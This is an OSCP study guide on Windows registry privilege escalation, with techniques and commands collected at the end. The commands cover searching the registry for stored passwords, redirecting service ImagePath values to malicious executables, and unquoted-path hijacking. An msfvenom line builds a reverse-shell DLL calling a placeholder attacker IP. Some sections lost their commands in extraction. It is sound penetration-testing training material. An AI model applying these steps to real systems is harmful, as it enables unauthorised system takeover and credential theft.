The Windows Registry is a hierarchical database that stores configuration settings and options for the operating system. Misconfigurations in the registry can lead to privilege escalation opportunities.
Registry Basics
# Main registry hivesHKEY_CURRENT_USER (HKCU)- Contains user-specific configurationHKEY_LOCAL_MACHINE (HKLM)- Contains system-wide settingsHKEY_CLASSES_ROOT (HKCR)- File associations and COM objectsHKEY_USERS (HKU)- All user profiles on the systemHKEY_CURRENT_CONFIG (HKCC)- Hardware profile information
AlwaysInstallElevated Privilege Escalation
AlwaysInstallElevated is a policy setting that allows non-administrative users to run Microsoft Windows Installer packages with elevated (SYSTEM) privileges. When both required registry keys are enabled (set to 1), any user can install a specially crafted MSI package that will execute code with SYSTEM privileges.
Required Registry Keys
For this exploitation to work, both of the following registry values must be set to 1:
Machine-wide setting (requires administrative access to view):
Disable the AlwaysInstallElevated policy by setting both registry keys to 0 or removing them:
Use Group Policy to ensure these settings remain disabled:
Computer Configuration > Administrative Templates > Windows Components > Windows Installer > "Always install with elevated privileges" to "Disabled"
User Configuration > Administrative Templates > Windows Components > Windows Installer > "Always install with elevated privileges" to "Disabled"
AutoRun Programs
Windows can be configured to automatically run programs when a user logs in. If these registry keys point to executables we can modify, we can escalate privileges.
Detection
Exploitation
Identify a writable autorun program
Replace it with a malicious executable or modify it to execute your payload
Wait for a privileged user to log in (or restart if it's a system autorun)
Stored Credentials in Registry
The registry may contain credentials or encoded passwords that can be extracted.
Detection
Service Registry Permissions
If a user has permission to modify service registry entries, they can point the service to a malicious executable.
Detection
Exploitation
Identify a service with vulnerable registry permissions
Modify the ImagePath value to point to your malicious executable
Restart the service
Unquoted Service Paths
If a service path contains spaces and is not enclosed in quotes, Windows will try to execute each valid path with spaces.
Detection
Exploitation
Identify a service with an unquoted path containing spaces
Check write permissions in the directories along the path
Create a malicious executable in one of the writable directories, following the space pattern
Registry Hijacking for DLL Search Order
Applications often look for DLLs in specific locations, which can be controlled through registry entries.
Detection
Look for registry keys that specify DLL search paths:
Exploitation
If you can write to a folder specified in a DLL search path:
WOW64 Registry Redirection
On 64-bit systems, the registry redirects 32-bit application requests. This can be abused in some scenarios.
Protecting Against Registry-Based Attacks
Limit registry write permissions for standard users
Use properly quoted service paths
Disable AlwaysInstallElevated policy
Audit registry changes for sensitive keys
Use secure boot and execute prevention mechanisms
Avoid storing credentials in the registry
Implement proper service account isolation
Additional Windows Registry Privilege Escalation Vectors
Autoruns
Programs that automatically start when a user logs in can be vulnerable if they point to locations writable by the current user or if they don't exist (allowing you to create them).
Checking for Vulnerable Autoruns
Exploitation
If you find a vulnerable autorun entry pointing to a writable location:
Replace the executable with a malicious one
Wait for an administrator to log in or restart the system
Services Registry Permissions
Services store their configuration in the registry under:
If you have write access to these registry keys, you can modify service configurations:
Stored Credentials
The registry may contain stored credentials that can be used for privilege escalation:
OSCP Exam Notes
For the OSCP exam, focus on:
Always check for AlwaysInstallElevated - it's a quick win if enabled
Autorun entries are another common vector
Remember that registry-based privilege escalation often requires a system reboot or user login, so plan accordingly
Create your MSI payloads before the exam and have them ready to transfer
Remember that registry exploits may sometimes require a system reboot to take effect, so consider the timing of your exploitation attempts during the exam.
# Check permissions on an autorun executable
icacls "C:\Path\To\AutoRun.exe"
# Replace with malicious executable
copy C:\Path\To\malicious.exe "C:\Path\To\AutoRun.exe" /Y
# Search for passwords in the registry
reg query HKLM /f "password" /t REG_SZ /s
reg query HKCU /f "password" /t REG_SZ /s
# Check for stored RDP credentials
reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /s
# Check for PuTTY session information
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s
# Check for auto-login credentials
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" /v DefaultPassword
# PowerShell script to check service registry permissions
$services = Get-ChildItem HKLM:\SYSTEM\CurrentControlSet\Services
foreach($service in $services) {
$path = $service.Name.Replace("HKEY_LOCAL_MACHINE","HKLM:")
$acl = Get-Acl $path
foreach($entry in $acl.Access) {
if($entry.RegistryRights.ToString() -match "FullControl|WriteKey|SetValue|CreateSubKey" -and $entry.IdentityReference -notmatch "NT AUTHORITY\\SYSTEM|BUILTIN\\Administrators") {
Write-Host "Vulnerable service found: $path"
Write-Host "Identity: $($entry.IdentityReference)"
Write-Host "Permissions: $($entry.RegistryRights)"
}
}
}
# Check the current ImagePath
reg query HKLM\SYSTEM\CurrentControlSet\Services\VulnService /v ImagePath
# Modify the ImagePath
reg add HKLM\SYSTEM\CurrentControlSet\Services\VulnService /v ImagePath /t REG_EXPAND_SZ /d "C:\path\to\malicious.exe" /f
# Restart the service (if you have permissions)
sc stop VulnService
sc start VulnService
# Find services with unquoted paths and spaces
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """
# PowerShell alternative
Get-WmiObject -Class Win32_Service | Where-Object {$_.PathName -notmatch "`"" -and $_.PathName -match " "} | Select-Object Name, PathName, StartMode
# Example: Service path is "C:\Program Files\Vulnerable Service\service.exe"
# Windows will try:
# 1. C:\Program.exe
# 2. C:\Program Files\Vulnerable.exe
# 3. C:\Program Files\Vulnerable Service\service.exe
# Check permissions on the directories
icacls "C:\Program Files"
icacls "C:\Program Files\Vulnerable Service"
# If you have write permissions to any of these locations, place a malicious executable there
copy malicious.exe "C:\Program Files\Vulnerable.exe"
# Restart the service
sc stop "Vulnerable Service"
sc start "Vulnerable Service"
# Create a malicious DLL
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=<PORT> -f dll -o malicious.dll
# Copy to the directory in the search path
copy malicious.dll C:\Path\Specified\In\Registry\missing-dll.dll
# Wait for the application to load the DLL
# 32-bit applications accessing HKLM\Software will be redirected to:
reg query HKLM\SOFTWARE\WOW6432Node
# Check if there are differences in permissions between the two:
reg query HKLM\SOFTWARE\SomeApplication /s
reg query HKLM\SOFTWARE\WOW6432Node\SomeApplication /s
# Check Run keys
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
# Check startup folders
dir "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"
dir "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
# Check if you can write to a service registry key
accesschk.exe -kvw HKLM\SYSTEM\CurrentControlSet\Services\<service_name>
# Modify service configuration via registry
reg add HKLM\SYSTEM\CurrentControlSet\Services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d "C:\path\to\malicious.exe" /f